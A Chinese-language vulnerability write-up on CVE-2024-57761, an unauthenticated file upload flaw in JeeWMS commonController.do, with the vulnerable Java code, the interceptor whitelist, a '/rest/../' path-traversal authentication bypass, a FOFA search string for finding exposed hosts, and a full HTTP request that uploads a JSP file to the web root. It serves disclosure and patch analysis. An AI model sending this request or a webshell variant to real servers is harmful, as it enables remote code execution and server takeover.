JeeWMS commonController.do 任意文件上传漏洞(CVE-2024-57761)


漏洞简介

JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS commonController.do 接口存在文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

影响版本

2.4.0(2024-10-08之前版本)

fofa语法

body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"

漏洞分析

根据 src/main/Java/org/jeecgframework/web/system/controller/core/CommonController.java 文件的官方 commit 记录 diff 两个区别

可以明显看到官方修复之前是下面这样的,没有任何校验直接上传文件,且文件保存在根目录下

/**
     * 生成XML文件parserXml
     * 
     * @return
     */
    @RequestMapping(params = "parserXml")
    @ResponseBody
    public AjaxJson parserXml(HttpServletRequest request, HttpServletResponse response) {
        AjaxJson json = new AjaxJson();
        String fileName = null;
        UploadFile uploadFile = new UploadFile(request);
        String ctxPath = request.getSession().getServletContext().getRealPath("");
        File file = new File(ctxPath);
        if (!file.exists()) {
            file.mkdir();// 创建文件根目录
        }
        MultipartHttpServletRequest multipartRequest = uploadFile.getMultipartRequest();
        Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
        for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
            MultipartFile mf = entity.getValue();// 获取上传文件对象
            fileName = mf.getOriginalFilename();// 获取文件名
            String savePath = file.getPath() + "/" + fileName;
            File savefile = new File(savePath);
            try {
                FileCopyUtils.copy(mf.getBytes(), savefile);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        systemService.parserXml(ctxPath + "/" + fileName);
        json.setSuccess(true);
        return json;
    }

下面分析下 可利用路径,即权限绕过部分,先看 web.xml 的部分

    <servlet>
        <description>spring mvc servlet</description>
        <servlet-name>springMvc</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <description>spring mvc 配置文件</description>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath*:spring-mvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>springMvc</servlet-name>
        <url-pattern>*.do</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>springMvc</servlet-name>
        <url-pattern>*.action</url-pattern>
    </servlet-mapping>

所有以 .do 结尾的URL都会进入 spring 框架的核心控制器DispatcherServlet 来负责处理所有MVC请求。再看下 spring-mvc.xml 的配置

<mvc:interceptor>
            <mvc:mapping path="/**" />
            <bean class="org.jeecgframework.core.interceptors.AuthInterceptor">
                <property name="excludeUrls">
                    <list>
                        <value>loginController.do?goPwdInit</value>
                        <value>loginController.do?pwdInit</value>
                        <value>loginController.do?login</value>
                        <value>loginController.do?logout</value>
                        <value>loginController.do?changeDefaultOrg</value>
                        <value>loginController.do?login2</value>
                        <value>loginController.do?login3</value>
                        <value>loginController.do?checkuser</value>
                        <value>loginController.do?checkuser=</value>
                        <value>repairController.do?repair</value>
                        <value>systemController.do?saveFiles</value>
                        <value>repairController.do?deleteAndRepair</value>
                        <value>userController.do?userOrgSelect</value>
                        <!--移动图表-->
                        <value>cgDynamGraphController.do?design</value>
                        <value>cgDynamGraphController.do?datagrid</value>
                        <value>cgDynamGraphController.do?datagrid</value>
                        <value>rest/wvGiNoticeController/search</value>
                        <value>rest/tokens/login</value>
                        <value>rest/wmToDownGoodsController</value>
                        <value>rest/wmToUpGoodsController</value>
                        <value>rest/wmInQmIController</value>
                        <value>rest/wvNoticeController</value>
                        <value>rest/wvGiController</value>
                        <value>rest/mdGoodsController</value>
                        <value>rest/wvStockController</value>
                        <value>rest/wmSttInGoodsController</value>
                        <value>rest/wmToMoveGoodsController</value>
                        <value>rest/wmBaseController/showOrDownqrcodeByurl</value>
                        <!-- 菜单样式图标预览 -->
                        <value>webpage/common/functionIconStyleList.jsp</value>

                    </list>
                </property>
                <property name="excludeContainUrls">
                    <list>
                        <value>systemController/showOrDownByurl.do</value>
                        <value>wmsApiController.do</value>
                    </list>
                </property>
            </bean>
        </mvc:interceptor>

可以明显看到默认所有请求都会经过 org.jeecgframework.core.interceptors.AuthInterceptor 包来进行权限校验,但匹配到下面的 excludeUrls(完全匹配) 列表和 excludeContainUrls (部分匹配)时则跳过鉴权。同时看下 AuthInterceptor 修复前后的差异

在存在漏洞的版本里:

单独判断requestPath是否以rest/开头,如果是则直接放行(return true)。

第一次修复后的处理:

移除了对rest/的单独放行逻辑,将其纳入excludeUrls或excludeContainUrls统一管理。

同时即使URL匹配excludeContainUrls,仍检查用户登录状态和权限。

但是其 String requestPath = ResourceUtil.getRequestPath(request); 的实现部分如下

public static String getRequestPath(HttpServletRequest request) {

//      String requestPath = request.getRequestURI() + "?" + request.getQueryString();
        String queryString = request.getQueryString();
        String requestPath = request.getRequestURI();
        if(StringUtils.isNotEmpty(queryString)){
            requestPath += "?" + queryString;
        }

        if (requestPath.indexOf("&") > -1) {// 去掉其他参数
            requestPath = requestPath.substring(0, requestPath.indexOf("&"));
        }
        requestPath = requestPath.substring(request.getContextPath().length() + 1);// 去掉项目路径
        return requestPath;
    }

其使用了 request.getRequestURI() 来获取用户请求URL作为 requestPath ,这个存在权限绕过问题,已经是老生长谈的问题了,可自行搜索相关文章。

那么最终修复版本里是如何处理的呢?

使用正则判断 rest/ 路径后是否是正经URLpath,带有 ../ 以及 ; 或者 多个 /// 这些都不满足正则。

因此这个权限绕过一直影响到 2.4.0(250102版本),但是文件上传只影响2.4.0(2024-10-08之前版本)。

漏洞复现

POST /rest/../commonController.do?parserXml HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----123321

------123321
Content-Disposition: form-data; name="file"; filename="uid.jsp"
Content-Type: image/png

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------123321--

访问文件 /uid.jsp

成功打印 UUID 并删除自身。

参考

  • https://gitee.com/erzhongxmu/JEEWMS

手机扫码阅读

JeeWMS iconController.do 任意文件上传漏洞

Synway SMG网关管理软件 9-13pcap.php 命令注入漏洞

评 论